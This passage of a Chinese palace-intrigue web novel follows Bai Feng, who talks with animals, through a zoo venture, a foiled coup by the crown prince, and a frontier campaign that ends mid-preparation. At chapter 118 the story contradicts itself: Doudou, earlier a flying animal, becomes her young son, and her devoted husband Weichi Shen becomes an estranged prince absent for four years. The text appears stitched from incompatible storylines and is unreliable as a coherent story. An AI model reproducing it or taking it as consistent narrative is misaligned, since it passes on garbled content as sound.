白凤上前一步,不卑不亢地说:“回皇上,臣妾与王爷在林中遭遇埋伏,这些黑衣人要取我们性命。情急之下,臣妾只能请林中的动物帮忙。” “一派胡言!”太子急了,“父皇,她这是妖术!这个女人能控制野兽,留着她就是祸害!” “妖术?”白凤笑了,“太子殿下,您派人在林中设伏,想要杀害王爷和臣妾,这才是真正的祸害吧?” “你、你血口喷人!” “是不是血口喷人,审一审那些黑衣人就知道了。”白凤指着地上那些伤痕累累的人,“他们身上的令牌,应该很能说明问题。” 第114章 够了! 侍卫上前搜查,果然从黑衣人身上搜出了太子府的令牌。 皇帝的脸色越来越难看,他看着太子,眼中满是失望:“逆子!你竟敢在朕的眼皮子底下行凶!” “父皇,儿臣是被冤枉的!”太子跪在地上磕头,“一定是有人栽赃陷害!” “够了!”皇帝一挥手,“来人,把太子带回宫,严加看管!” 太子被侍卫架走时,眼神怨毒地瞪着白凤,那眼神恨不得把她生吞活剥。 李婉儿也被人抬走了,她的腿伤得很重,太医说就算治好了也会留下残疾。 回宫的路上,白凤一直很安静。尉迟深握着她的手,能感觉到她在微微发抖。 “怕了?”他轻声问。 “不是怕。”白凤摇摇头,“是心疼那些动物。它们本来生活得好好的,却因为我卷入了这些纷争。” “这不是你的错。” “可是…”白凤的话还没说完,马车就停了下来。 “王爷,到宫门了。”车夫在外面说。 皇帝在御书房召见了尉迟深和白凤。 “尉迟深。”皇帝坐在龙椅上,声音听不出喜怒,“今日之事,朕已经清楚了。太子确实有错,但你的王妃能力太过特殊,朕不得不防。” 尉迟深单膝跪地:“皇上明鉴,内子从未有过不臣之心。” “朕知道。”皇帝叹了口气,“但朝中大臣们不这么想。他们都在说,能控制野兽的人,说不定哪天就能控制人。朕也很为难。” 白凤听出了皇帝话里的意思,他这是要拿她开刀,用来制衡尉迟深和太子。 “所以。”皇帝继续说,“朕给你两个选择。要么休妻,要么交出兵权。” 御书房里一片死寂。 白凤的心沉到了谷底,她知道这两个选择对尉迟深来说都是致命的。兵权是他的根基,没有兵权,他在朝中就失去了话语权。但休妻… “臣选择交出兵权。”尉迟深的声音很平静。 “王爷!”白凤惊呼出声。 “闭嘴。”尉迟深回头看了她一眼,眼神温柔,“这是我的决定。” 皇帝似乎早就料到了这个答案,点点头:“好,朕准了。从今日起,你的兵权由朕亲自掌管。” 走出御书房时,白凤的眼眶已经红了。她知道尉迟深为了她放弃了什么,那是他多年来辛苦经营的一切。 “对不起。”她哽咽着说。 “傻瓜。”尉迟深揉了揉她的头发,“兵权没了可以再争取,但你要是没了,我这辈子都不会原谅自己。” 白凤再也忍不住,眼泪夺眶而出。 回到王府后,白凤把自己关在房间里想了一整夜。天亮时,她做出了一个决定。 “我要进宫见皇上。”她对尉迟深说。 “你想做什么?” “我有办法让皇上收回成命。”白凤的眼神很坚定,“相信我。” 尉迟深看着她,最终点了点头。 白凤再次进宫时,带上了豆豆和几只她救过的小动物。 “皇上。”她跪在御书房里,“臣妾有一个请求。” “说。” “臣妾愿意担任皇家的驯兽师,为皇家训练动物,供皇家驱使。”白凤抬起头,“臣妾的能力不应该成为祸害,而应该为国效力。” 皇帝来了兴趣:“哦?你想怎么做?” “臣妾想建一座动物园。”白凤说出了自己的计划,“把那些流浪的、被遗弃的动物都收容起来,训练它们,让它们为皇家服务。比如送信的飞鸟,守卫的猛兽,还有能帮忙运输的牲畜。” “而且。”她继续说,“这座动物园可以对外开放,让百姓们参观,收取门票。这样既能让动物们有个安身之所,又能为国库增加收入。” 皇帝沉吟片刻:“这倒是个新鲜主意。” “臣妾保证,所有的动物都会被善待,绝不会用来做任何危害朝廷的事。”白凤说,“而且臣妾愿意立下军令状,若有半点差池,甘愿受罚。” 皇帝看着她,突然笑了:“好!朕准了!不过尉迟深的兵权…” “兵权的事臣妾不敢多言。”白凤低下头,“只是希望皇上能看在臣妾一片赤诚的份上,给王爷一个将功补过的机会。” “你倒是个聪明人。”皇帝点点头,“行,朕给他三年时间。三年内,若是你的动物园能为国库增收十万两银子,朕就把兵权还给他。” “谢皇上!”白凤磕头。 消息传出后,整个京城都炸了锅。 “听说了吗?尉迟王妃要建动物园!” “什么动物园?就是把动物关起来给人看?” “可不是嘛,还说要收门票呢。” “这能行吗?谁会花钱去看动物啊?” 议论归议论,但白凤已经开始行动了。 她在城外找了一大片空地,开始建造动物园。豆豆和其他动物们都来帮忙,有的衔树枝,有的搬石头,忙得不亦乐乎。 “主人,我们以后就住这里了吗?”豆豆兴奋地问。 “对啊。”白凤笑着说,“以后你们就是这里的主人了,每天吃吃喝喝,顺便给我赚点生活费。” “赚生活费?”一只小猴子挠挠头,“怎么赚?” “很简单。”白凤指着正在建造的围栏,“等这里建好了,会有很多人来看你们。你们只要表演一些才艺,比如翻跟头啊,接飞盘啊,他们就会很开心,然后就会给钱。” “这么简单?”小猴子眼睛一亮,“那我可拿手了!” 动物们都很兴奋,纷纷表示要好好表现。 尉迟深站在不远处看着这一幕,嘴角不自觉地上扬。他发现自己越来越看不透这个女人了,她总是能想出一些稀奇古怪的主意,而且还真的能做成。 “王爷。”白凤走过来,脸上沾着泥土,“你说我这个主意能成吗?” “能。”尉迟深伸手帮她擦掉脸上的泥,“你做什么我都信。” 白凤笑了,笑容里带着前所未有的轻松。 三个月后,京城第一座动物园正式开业。 开业那天,来参观的人挤破了门槛。大家都很好奇,这个传说中能跟动物说话的尉迟王妃,到底建了个什么样的地方。 “快看快看!那只猴子会翻跟头!” “哇,那只鹦鹉会说话!” “这只熊猫好可爱啊!” “天哪,那只老虎居然这么温顺!” 欢笑声、惊叹声此起彼伏。 白凤站在入口处,看着人们脸上的笑容,心里涌起一股暖意。 豆豆飞到她肩上:“主人,我们成功了!” “是啊。”白凤轻声说,“我们成功了。” 不远处,尉迟深靠在树下,静静地看着她。阳光透过树叶洒在她身上,她的笑容那么明亮,让他觉得,放弃兵权这个决定,是他这辈子做过最正确的事。 第115章 他等不及了 京城三月,柳絮飘飞。 白凤蹲在屋檐下,手里攥着半块饼子,正喂院里那只秃毛的老鹰。这鹰跟了她五年,翅膀上的羽毛秃了一片,飞不高也飞不远,却架不住嘴碎,什么消息都爱往回叼。 “太子殿下昨儿个又去了城西的别院。” 白凤撕下一块饼子扔过去,老鹰啄了两下,歪着脑袋继续说:“去了三个时辰,出来时衣裳都换了。” “知道了。”白凤拍拍手上的碎屑,起身往屋里走。 这已经是这个月第七次了。太子名义上在府中抄经礼佛,实际上隔三差五就往城西跑。那别院里住着谁,白凤心里跟明镜似的——兵部侍郎的三公子,手底下管着京畿十二营的调度。 屋里炭火烧得正旺,尉迟深坐在桌边看兵书,听见脚步声也没抬头:“又有消息?” “嗯。”白凤倒了杯茶,“太子这次动作不小,连兵部的人都搭上了。” 尉迟深翻过一页,语气平淡:“他等不及了。” 这话说得轻巧,可白凤听出了别的意思。皇帝今年五十有三,身子骨硬朗得很,前两天还骑马射箭,一箭射中靶心。太子熬了二十年,眼看着父皇越活越精神,心里能不急? “你打算怎么办?”白凤问。 尉迟深合上书,抬眼看她:“先看看他能闹出多大动静。” 白凤笑了:“你这是要钓鱼?” “不然呢?”尉迟深站起身,走到窗边,“皇上对太子还抱着幻想,不见棺材不掉泪。咱们现在说什么都没用,得让他自己看清楚。” 这话倒是实在。皇帝对太子寄予厚望,从小就按照储君的标准培养,琴棋书画样样精通,朝堂礼仪更是挑不出错。可惜太子学了一身本事,偏偏少了点耐心。 “那我这情报网还要不要继续盯着?”白凤问。 尉迟深转过身,眼神里带着点玩味:“盯着,不过这次得收点好处费。” 白凤挑眉:“你想敲竹杠?” “不是我,是你。”尉迟深走回桌边,“你那些鸟儿飞来飞去也不容易,总得吃点好的。” 白凤听出他话里的意思了。情报这东西,有价无市。太子那边动作越大,这些消息就越值钱。尉迟深这是要她抬高价码,让皇帝知道这些情报来之不易。 “行,那我明儿个进宫一趟。”白凤说。 第二天一早,白凤换了身素净的衣裳进宫。皇帝正在御书房批阅奏折,听说她来了,倒是挺意外。 “白凤?她来做什么?” 太监躬身答道:“说是有要事禀报。” 皇帝放下笔,“让她进来。” 白凤进了御书房,规规矩矩行了礼。皇帝打量她几眼,开口问:“什么事这么急?” “太子殿下最近的行踪,陛下可知晓?”白凤也不绕弯子,直接问。 皇帝脸色一沉:“你在说什么?” “太子这个月去了七次城西别院,每次都待三个时辰以上。那院子里住着兵部侍郎的三公子,此人手握京畿十二营调度大权。”白凤说得不紧不慢,“另外,太子府的管家前天去了户部尚书府上,送了一箱东西。昨天,户部那边就批了一笔军饷,数目不小。” 皇帝的手指在桌上敲了两下,没说话。 白凤继续说:“这些消息都是我的鸟儿打探来的,准不准陛下可以自己查。不过我这些鸟儿养着也不容易,每天飞来飞去的,得吃不少东西。” 皇帝听出她的意思了,冷笑一声:“你这是要跟朕讨价还价?” “不敢。”白凤低着头,“只是实话实说。” 御书房里安静了好一会儿,皇帝才开口:“你要什么?” “内务府每月拨五百两银子,专门用来养鸟。”白凤说,“另外,我需要一块令牌,方便进出宫禁。” 皇帝盯着她看了半晌,最后点头:“准了。不过你给朕记住,这些消息要是有半点虚假——” “那我这条命就交给陛下。”白凤接话。 拿到令牌和银票,白凤出了宫门,心里松了口气。尉迟深这一招够狠,既让皇帝知道了太子的动向,又给自己争取到了好处。最重要的是,皇帝现在对太子起了疑心,接下来只要继续添把火,这戏就能唱下去。 回到府里,尉迟深正在院子里练剑。看见她回来,收了招式:“怎么样?” “成了。”白凤把令牌和银票往桌上一放,“每月五百两,还有进出宫禁的令牌。” 尉迟深拿起令牌看了看,笑了:“皇上这次倒是大方。” “那是因为他心里慌了。”白凤坐下来倒了杯茶,“太子的事要是真的,那可不是小事。” “所以接下来咱们得继续盯紧了。”尉迟深说,“太子既然已经动手,肯定不会就此收手。他越急,破绽就越多。” 白凤点头。她养的那些鸟儿遍布京城,什么风吹草动都逃不过它们的眼睛。太子要是真想搞事情,早晚会露出马脚。 果然,没过几天,消息就来了。 那只秃毛老鹰飞回来的时候,翅膀上还挂着根箭羽。白凤接住它,检查了一下伤口,还好只是擦破了点皮。 “太子府的人发现我了。”老鹰说,“差点被射下来。” 白凤给它上了药,问:“看见什么了?” “太子在府里召集了一批人,都是武将打扮。”老鹰说,“我听见他们在商量什么时辰动手,还提到了皇宫。” 白凤心里一紧。看来太子是真的要动手了。 她立刻去找尉迟深。尉迟深听完,脸色凝重:“时间定了吗?” “没听清楚,不过应该就在这几天。”白凤说。 尉迟深沉思片刻:“你再进宫一趟,把这个消息告诉皇上。记住,只说太子在密谋,别说具体时间。” “为什么?”白凤不解。 “因为咱们要让太子真的动手。”尉迟深说,“只有人赃并获,皇上才会彻底死心。” 白凤明白了。这是要将计就计,让太子自己跳进陷阱里。 当天下午,白凤再次进宫。皇帝听完她的话,脸色铁青。 “你确定?” “千真万确。”白凤说,“太子府里现在戒备森严,连只苍蝇都飞不进去。” 皇帝站起身,在屋里来回踱步。良久,他才开口:“你下去吧,这件事朕自有分寸。” 第116章 皇上不会心软 白凤退出御书房,心里却有些不安。皇帝虽然嘴上说有分寸,可他毕竟是太子的父亲,真到了关键时刻,会不会心软? 回到府里,她把这个担心告诉了尉迟深。 尉迟深却很平静:“放心,皇上不会心软。他坐了三十年龙椅,什么场面没见过?太子要是真敢动手,那就是自寻死路。” “可万一——” “没有万一。”尉迟深打断她,“咱们现在要做的,就是等。等太子自己露出破绽,等皇上亲眼看见真相。” 白凤不再说话。她知道尉迟深说得对,可心里总觉得不踏实。这种感觉就像是站在悬崖边上,脚下随时可能塌陷。 接下来的几天,京城表面上风平浪静,暗地里却暗流涌动。白凤的鸟儿们不停地传回消息,太子府的动静越来越大,连带着城西那座别院也热闹起来。 第五天傍晚,一只灰鸽子飞回来,带来了关键消息。 “今晚子时,太子要动手。” 子时还有两个时辰。 白凤把消息告诉尉迟深的时候,他正在擦拭佩剑。听完之后,他把剑放回剑鞘,起身往外走。 “你去哪儿?”白凤跟上去。 “进宫。”尉迟深头也不回,“这种时候,我得在皇上身边。” 白凤想了想,也跟着出了门。两人一前一后进了宫,直奔御书房。 皇帝还在批阅奏折,看见尉迟深进来,眉头一皱:“这么晚了,你来做什么?” “陛下,今晚恐怕不太平。”尉迟深说。 皇帝放下笔,眼神变得锐利:“你知道什么?” “太子今晚子时要动手。”尉迟深也不隐瞒,“臣请陛下调集禁军,做好防备。” 皇帝沉默了。御书房里只剩下炭火噼啪作响的声音。 半晌,皇帝才开口:“你确定?” “确定。” “证据呢?” 尉迟深转头看向白凤。白凤上前一步:“陛下,我的鸟儿亲眼看见太子府集结了上百人,都是精壮汉子,身上藏着兵器。城西别院那边也有动静,兵部侍郎的三公子带着人马往城门方向去了。” 皇帝的手指在桌上敲了几下,每一下都敲得很重。 “传朕旨意。”他终于开口,声音里听不出情绪,“调集禁军三千,守住宫门。另外,让锦衣卫的人盯紧太子府,有任何动静立刻禀报。” 太监领命退下。 御书房里又安静下来。皇帝坐在龙椅上,看着窗外的夜色,不知道在想什么。 白凤站在一旁,能感觉到空气里的压抑。这种时刻,说什么都是多余的。 时间一点点过去,很快就到了子时。 宫门外传来马蹄声,由远及近。紧接着,有人高声喊话:“奉太子令,开门!” 守门的禁军没动。 外面的人又喊了一遍,声音更大了:“太子有令,速速开门!” 还是没人应。 片刻后,外面响起了兵器碰撞的声音。有人在攻打宫门。 皇帝站起身,走到窗边。尉迟深跟在他身后,手已经按在了剑柄上。 “陛下,臣请命出战。” 皇帝摆摆手:“不急,再等等。” 白凤不明白他在等什么,但也不敢多问。 宫门外的动静越来越大,喊杀声此起彼伏。禁军守得很稳,太子的人一时半会儿攻不进来。 就在这时,御书房的门被推开了。一个锦衣卫匆匆进来,跪地禀报:“陛下,太子府那边有动静。太子亲自带人出府了,正往宫门方向来。” 皇帝闭上眼睛,深吸了一口气。 “够了。”他睁开眼,眼神里已经没有了犹豫,“传朕旨意,拿下太子,格杀勿论。” 锦衣卫领命而去。 尉迟深也转身往外走,白凤跟上去:“我跟你一起。” “你留在这儿。”尉迟深说,“保护好皇上。” 说完他就走了,脚步很快。 白凤站在原地,看着他的背影消失在夜色里。她转身回到御书房,皇帝还站在窗边,一动不动。 “陛下——” “朕没事。”皇帝打断她,“只是没想到,会走到这一步。” 白凤不知道该说什么。太子谋反,这对任何一个父亲来说都是致命的打击。可皇帝毕竟是皇帝,他不能有太多的私人情感。 外面的喊杀声渐渐平息了。过了大约一炷香的时间,尉迟深回来了,身上沾着血迹。 “陛下,太子已经拿下。” 皇帝转过身:“人呢?” “在殿外候着。” “带进来。” 太子被两个禁军押着进来,衣裳凌乱,头发散开,哪里还有半点储君的样子。他抬头看见皇帝,眼神里闪过一丝慌乱,很快又变成了倔强。 “父皇。” 皇帝看着他,没说话。 太子咬了咬牙:“儿臣知道错了。” “错了?”皇帝冷笑,“你知道自己错在哪儿了?” “儿臣不该心急,不该——” “你错就错在,不该对朕动手。”皇帝打断他,“朕培养你二十年,教你读书识字,教你治国理政,为的是什么?是让你有朝一日能接过这个担子,把大周治理得更好。可你呢?你等不及了,你想现在就坐上这个位子。” 太子低下头,不说话了。 “朕问你,兵部侍郎的三公子给了你什么承诺?户部尚书又答应了你什么?”皇帝继续问,“你以为拿下了京畿十二营,控制了军饷,就能逼朕退位?” 太子还是不说话。 皇帝看着他,眼神里满是失望:“朕本以为,你至少还有点骨气。没想到到了这个时候,你连承认的勇气都没有。” “父皇——” “别叫朕父皇。”皇帝转过身,“从今天起,你不再是太子。朕会下旨废黜你的储君之位,至于你那些同党,一个都跑不了。” 太子的脸色瞬间变得惨白。他想说什么,可话到嘴边又咽了回去。 “带下去。”皇帝挥挥手,“关进宗人府,没有朕的命令,不许任何人探视。” 禁军押着太子出去了。御书房里又只剩下三个人。 皇帝坐回龙椅上,整个人像是老了十岁。他看向尉迟深:“这次多亏了你。” “臣不敢居功。”尉迟深说,“这都是白凤的功劳,要不是她的情报网,咱们也不可能这么快发现太子的阴谋。” 皇帝看向白凤:“你想要什么赏赐?” 白凤摇头:“臣不需要赏赐,只希望陛下能早日选定新的储君,稳定朝局。” 第117章 你有勇有谋,能文能武 皇帝沉默了一会儿,突然问:“尉迟深,你可愿意接任太子之位?” 尉迟深一愣,随即跪下:“臣惶恐。” “别急着拒绝。”皇帝说,“朕观察你很久了,你有勇有谋,能文能武,最重要的是,你有一颗赤诚之心。朕相信,把大周交给你,不会错。” 尉迟深没有立刻答应,而是抬头看向皇帝:“陛下,臣需要时间考虑。” “好,朕给你三天时间。”皇帝站起身,“今晚辛苦了,你们都退下吧。” 出了御书房,白凤才问:“你真的要接受?” “不接受又能怎么样?”尉迟深苦笑,“皇上既然开口了,就说明他已经下定决心。我要是拒绝,反而会让他为难。” “可是——” “没什么可是的。”尉迟深说,“既然走到了这一步,那就走下去。” 白凤看着他,心里五味杂陈。她知道尉迟深说得对,可她总觉得,事情不会这么简单。 果然,第二天一早,朝堂上就炸开了锅。 废黜太子的圣旨一下,满朝文武都傻眼了。太子虽然有错,可毕竟是储君,说废就废,这在大周历史上还是头一回。 更让人震惊的是,皇帝当场宣布,要立尉迟深为新太子。 这下朝堂上更乱了。有人支持,有人反对,吵得不可开交。 尉迟深站在殿中,面色平静。他知道这一天早晚会来,只是没想到来得这么快。 “陛下,臣以为此事还需从长计议。”户部尚书站出来,“尉迟将军虽然功勋卓著,但毕竟年轻,恐怕难以服众。” “朕意已决。”皇帝说,“尉迟深文武双全,品行端正,正是储君的不二人选。诸位爱卿若有异议,尽管提出来。” 户部尚书还想说什么,被旁边的人拉住了。 朝堂上安静下来。大家都看出来了,皇帝这次是铁了心要立尉迟深。谁要是再反对,那就是跟皇帝作对。 “既然诸位爱卿都没有异议,那此事就这么定了。”皇帝说,“择日册封,礼部去准备吧。” 散朝后,尉迟深回到府里,整个人都有些恍惚。 白凤给他倒了杯茶:“怎么样?” “成了。”尉迟深喝了一口茶,“下个月初八册封。” “那你现在算是太子了?” “算是吧。”尉迟深放下茶杯,“不过我总觉得,事情不会这么顺利。” 他的预感很准。 三天后,边境传来急报——北狄入侵,已经攻下了两座城池。 兵部尚书拿着急报进宫的时候,脸色难看得吓人。 “陛下,北狄这次来势汹汹,领兵的是他们的大王子,号称有十万铁骑。边关守将已经连续丢了两座城,再这样下去,恐怕——” “恐怕什么?”皇帝打断他,“说清楚。” “恐怕整个北境都保不住。”兵部尚书咬牙说。 御书房里一片死寂。 北狄是大周的老对手了,这些年虽然时有摩擦,但都是小打小闹。这次突然大举入侵,明显是有备而来。 “边关现在有多少兵力?”皇帝问。 “不到五万。”兵部尚书说,“而且士气低落,粮草也不够。” 皇帝沉思片刻:“调集京畿十二营,再从各地抽调精兵,凑够二十万。尉迟深,你领兵出征。” 尉迟深跪下领命:“臣遵旨。” “另外。”皇帝看向白凤,“你也跟着去。” 白凤一愣:“陛下,臣——” “你的那些鸟儿,在战场上能派上大用场。”皇帝说,“朕要你配合尉迟深,务必把北狄赶出去。” 白凤也跪下:“臣领旨。” 三天后,大军开拔。 尉迟深骑在马上,身后跟着二十万将士。白凤骑着一匹枣红马,跟在他旁边。 “紧张吗?”尉迟深问。 “还好。”白凤说,“就是有点担心。” “担心什么?” “担心打不赢。”白凤实话实说,“北狄的铁骑可不是吃素的,咱们这二十万人里,真正上过战场的不到一半。” 尉迟深笑了:“所以才需要你的鸟儿。” 白凤明白他的意思。战场上最重要的就是情报,知己知彼才能百战不殆。她的鸟儿能飞到敌营上空,把对方的部署看得一清二楚,这比什么都管用。 大军日夜兼程,十天后抵达边关。 守将是个五十多岁的老将,姓李,见到尉迟深,眼眶都红了:“将军,你可算来了。再晚几天,这边关就守不住了。” “现在情况怎么样?”尉迟深问。 “北狄占了两座城,正在往这边推进。”李将军说,“他们的铁骑太厉害了,咱们根本挡不住。” 尉迟深看向白凤。白凤会意,吹了声口哨。 很快,天空中出现了密密麻麻的黑点。那是白凤养的鸟儿,有鹰有隼,还有几只乌鸦。它们盘旋在空中,然后分散开来,往北狄的营地飞去。 李将军看得目瞪口呆:“这是——” “情报网。”尉迟深简单解释,“等消息回来,咱们就知道该怎么打了。” 一个时辰后,鸟儿们陆续飞回来。白凤听完它们的汇报,在地上画了张简易地图。 “北狄的主力在这里,大约八万人。”她指着地图上的一个点,“另外两万人分散在两座城里,负责守城。他们的粮草囤积在这里,距离主营地有三十里。” 尉迟深盯着地图看了半天,突然笑了:“有办法了。” 当天夜里,尉迟深召集所有将领开会。 “北狄的弱点在粮草。”他说,“他们远道而来,粮草补给全靠后方运输。咱们只要切断他们的粮道,不出十天,他们就得撤军。” “可是将军,他们的粮草营地守卫森严,咱们怎么打进去?”有人问。 “不用打进去。”尉迟深说,“咱们烧了就行。” 众人面面相觑。 “白凤,你的鸟儿能做到吗?”尉迟深问。 白凤点头:“能。不过需要准备一些东西。” “什么东西?” “火油,还有引火的东西。”白凤说,“我让鸟儿们叼着火油罐飞过去,在粮草营地上空投下去,再用火箭引燃。” 众人听完,都倒吸了一口凉气。这招够狠,也够绝。 “就这么办。”尉迟深拍板,“明天夜里动手。” 第二天白天,白凤忙着准备火油罐。她找了几十个小陶罐,装满火油,用布条封好口,然后绑在鸟儿们的爪子上。 “记住,飞到粮草营地上空,把罐子扔下去就行。” 第118章 还真是闲得慌 白凤盯着黑甲将士,半晌没说话。 院子里静得能听见虫鸣。豆豆躲在她身后,小手紧紧抓着她的衣角。乐乐龇着牙,喉咙里发出低沉的呜呜声。 “你家王爷,还真是闲得慌。”白凤开口,声音冷得像腊月的井水。 黑甲将士愣了愣,大概没想到她会这么说。他咳了一声:“白姑娘,王爷是一片好意……” “好意?”白凤打断他,“我不需要。你回去告诉你家王爷,我白凤这辈子都不会进京。他要是真敢来,我就带着儿子躲到山里去。” 黑甲将士脸色变了变:“白姑娘,您这是何苦?王爷待您……” “待我什么?”白凤冷笑,“他待我好,当年怎么不来找我?现在知道豆豆是他儿子了,就想把我们接回去?天底下哪有这么便宜的事!” 她说完,砰地一声关上了门。 黑甲将士站在门外,进也不是,退也不是。他叹了口气,翻身上马,往镇外去了。 白凤靠在门板上,心跳得厉害。 “娘,那个叔叔说的王爷,是谁啊?”豆豆仰着小脸问。 白凤蹲下来,摸了摸他的头:“一个不相干的人。豆豆别怕,娘不会让任何人把你带走的。” 豆豆点点头,又问:“可是,他说王爷要来,怎么办?” 白凤沉默了。 她也不知道怎么办。 尉迟深那个人,她太了解了。说一不二,说要来就一定会来。 “娘,我有话说。”乐乐突然开口。 白凤看向它。 “那个人身上有杀气,不好惹。”乐乐说,“而且他说的王爷,我听说过。徽臻王尉迟深,手握重兵,连皇上都要给他三分面子。” 白凤心里一沉。 她知道尉迟深厉害,但没想到这么厉害。 “那怎么办?”白凤问。 “跑。”乐乐说得干脆,“趁他还没来,咱们赶紧跑。” “跑去哪儿?”白凤苦笑,“天下之大,哪里跑得掉?” “山里。”来财突然说话了,“山里有个地方,很隐蔽,我以前去过。” 白凤眼睛一亮:“在哪儿?” “往西走三十里,有座荒山,山里有个山洞,洞里别有洞天。”来财说,“那地方人迹罕至,就算他派人来找,也找不到。” 白凤咬了咬唇。 跑,还是不跑? 跑了,就要过颠沛流离的日子。不跑,尉迟深来了,她和豆豆就得跟他走。 “娘,我不想走。”豆豆突然说。 白凤一愣:“为什么?” “这里是咱们的家。”豆豆说,“我不想离开。” 白凤心里一酸。 是啊,这里是他们的家。虽然简陋,虽然辛苦,但这是他们一点一点建起来的。 “可是……”白凤还想说什么,豆豆打断了她。 “娘,你不是说,做人要堂堂正正,不能让人欺负吗?”豆豆眼睛亮亮的,“那咱们为什么要跑?” 白凤愣住了。 对啊,为什么要跑? 她白凤又没做错什么,凭什么要跑? “豆豆说得对。”白凤站起来,“咱们不跑。他要来就来,我倒要看看,他能把我怎么样。” 乐乐叹了口气:“你这脾气,真是……” “怎么了?”白凤挑眉。 “没什么。”乐乐摇摇头,“反正我跟着你,你去哪儿我去哪儿。” 白凤笑了:“好兄弟。” 第二天一早,白凤去找徐禄生。 徐禄生正在院子里劈柴,看见她来了,放下斧头:“白姑娘,这么早?” “徐大哥,我有事想问你。”白凤说。 “什么事?”徐禄生擦了擦汗。 白凤犹豫了一下,还是说了:“你听说过徽臻王吗?” 徐禄生脸色变了:“你问这个干什么?” “他要来找我。”白凤说。 徐禄生倒吸一口凉气:“徽臻王要来找你?为什么?” 白凤沉默了一会儿,还是决定告诉他实话:“豆豆是他儿子。” 徐禄生瞪大了眼睛,半天说不出话来。 “我知道你不信。”白凤苦笑,“我自己都不敢相信。” “不是……”徐禄生回过神来,“我是没想到……白姑娘,你和徽臻王……” “没什么。”白凤打断他,“就是一场意外。” 徐禄生沉默了。 过了好一会儿,他才说:“白姑娘,徽臻王不是好惹的。你要是不想跟他走,恐怕……” “我知道。”白凤说,“所以我来问你,有没有办法。” 徐禄生皱起眉头,想了想:“办法倒是有一个。” “什么办法?”白凤眼睛一亮。 “嫁人。”徐禄生说,“你要是嫁人了,他总不能硬抢吧?” 白凤愣住了。 嫁人? 她从来没想过这个。 “可是……”白凤犹豫,“谁会娶我?” “我娶。”徐禄生说得很快,说完自己都愣了。 白凤也愣了。 两个人对视着,空气突然变得尴尬起来。 “咳……”徐禄生咳了一声,“我是说,如果白姑娘不嫌弃的话……” “徐大哥。”白凤打断他,“你对我很好,我心里都记着。但是,我不能害你。” “什么害不害的。”徐禄生说,“我是真心想娶你。” 白凤看着他,心里五味杂陈。 徐禄生是个好人,对她和豆豆都很照顾。要是嫁给他,日子肯定不会差。 可是…… “徐大哥,让我想想。”白凤说。 徐禄生点点头:“好,你慢慢想。” 白凤告辞离开,心里乱得很。 回到家,乐乐正趴在院子里晒太阳。 “怎么样?”乐乐问。 “徐禄生说,让我嫁给他。”白凤说。 “那挺好啊。”乐乐说,“徐禄生人不错,对你和豆豆也好。” “可是……”白凤咬了咬唇,“我不喜欢他。” “不喜欢可以慢慢培养。”乐乐说,“总比跟着那个王爷强吧?” 白凤沉默了。 是啊,总比跟着尉迟深强。 可是,她真的能嫁给徐禄生吗? 就在这时,院门又被敲响了。 白凤走过去开门,门外站着的,是镇长。 “白姑娘。”镇长满脸堆笑,“有件事想跟你商量商量。” 白凤心里一沉:“什么事?” “是这样的。”镇长搓着手,“听说徽臻王要来咱们镇上,这可是大事啊。我寻思着,咱们得好好准备准备,别让王爷觉得咱们怠慢了。” 第119章 惹不起 白凤冷着脸:“关我什么事?” “哎呀,白姑娘,你就别装了。”镇长笑得更殷勤了,“大家都知道,王爷是来找你的。你看,能不能跟王爷说说,让他……” “让他什么?”白凤打断他。 “让他……多关照关照咱们镇子。”镇长说,“你看,咱们镇子穷,要是王爷能拨点银子下来……” 白凤听明白了。 镇长这是想让她去求尉迟深,给镇子拨银子。 “镇长,你想多了。”白凤冷笑,“我和王爷没什么关系,你要银子,自己去求。” 说完,她砰地一声关上了门。 镇长站在门外,脸色青一阵白一阵。 消息传得飞快。 不到半天,全镇的人都知道了徽臻王要来的事。 街上热闹得不行,家家户户都在打扫院子,生怕王爷路过的时候看见脏乱。 白凤站在自家院子里,看着外面忙碌的人群,心里说不出是什么滋味。 “娘,外面好热闹。”豆豆趴在门缝往外看。 “别看了。”白凤把他拉回来,“跟咱们没关系。” 话音刚落,童氏就带着沈冬梅来了。 “哟,白凤啊。”童氏笑得眼睛都眯成了一条缝,“听说王爷要来找你?” 白凤冷着脸,没说话。 “哎呀,你这孩子,舅妈以前是对你严厉了点,但那也是为你好啊。”童氏说着,就要往院子里走。 白凤拦住她:“你来干什么?” “来看看你啊。”童氏说,“咱们是一家人,你发达了,可不能忘了舅妈。” 白凤差点笑出声。 前几天还在外面说她坏话,现在听说王爷要来,就变成一家人了? “舅妈,你记性不太好。”白凤说,“前几天县令判你还我家的东西,你还了吗?” 童氏脸色一僵:“那个……舅妈手头紧,过几天就还。” “那等你还了再说。”白凤说完,就要关门。 沈冬梅突然挤了进来:“白凤,你别不识抬举。我娘好心来看你,你还摆脸色?” “好心?”白凤冷笑,“你娘什么心思,你不知道?” “你……”沈冬梅气得脸都红了。 “行了行了。”童氏拉住她,转头对白凤说,“白凤啊,舅妈知道你心里有气。这样吧,舅妈给你赔个不是,以前的事就算过去了,行不行?” 白凤看着她,突然觉得有点可笑。 这个女人,为了攀上徽臻王,连脸都不要了。 “舅妈,你走吧。”白凤说,“我和王爷没什么关系,你别白费力气了。” “怎么会没关系?”童氏不信,“人家都说了,王爷是来找你的。” “找我是找我,但我不会跟他走。”白凤说。 童氏愣了愣,随即笑了:“你傻啊?那可是王爷!多少人想攀都攀不上,你还往外推?” “我乐意。”白凤说完,把她们推了出去,关上了门。 童氏在外面骂骂咧咧,白凤充耳不闻。 “娘,那个婆婆好讨厌。”豆豆说。 “嗯。”白凤摸了摸他的头,“以后离她远点。” 到了下午,镇上来了一队人马。 为首的是个年轻男人,穿着黑色锦袍,腰间挂着玉佩,一看就不是普通人。 “王爷到——”有人喊了一声。 镇上的人呼啦啦全跪下了。 白凤站在院子里,听见外面的动静,心里一沉。 来了。 她深吸一口气,走到门口。 门外,尉迟深正站在那里。 四年不见,他还是那个样子。高大,英俊,浑身上下透着一股子生人勿近的气息。 “白凤。”尉迟深开口,声音低沉。 白凤没说话,只是看着他。 “跟我走。”尉迟深说。 “不走。”白凤说得干脆。 尉迟深皱起眉头:“你还在生气?” “我没生气。”白凤说,“我只是不想跟你走。” “为什么?”尉迟深问。 “没有为什么。”白凤说,“我在这里过得挺好,不想去京城。” 尉迟深盯着她,眼神复杂:“豆豆是我儿子。” “我知道。”白凤说,“但他跟着我长大,跟你没关系。” “没关系?”尉迟深声音提高了一点,“他是我儿子,怎么会没关系?” “那你这四年去哪儿了?”白凤反问,“我怀孕的时候,你在哪儿?我生孩子的时候,你在哪儿?豆豆生病的时候,你在哪儿?” 尉迟深被问得哑口无言。 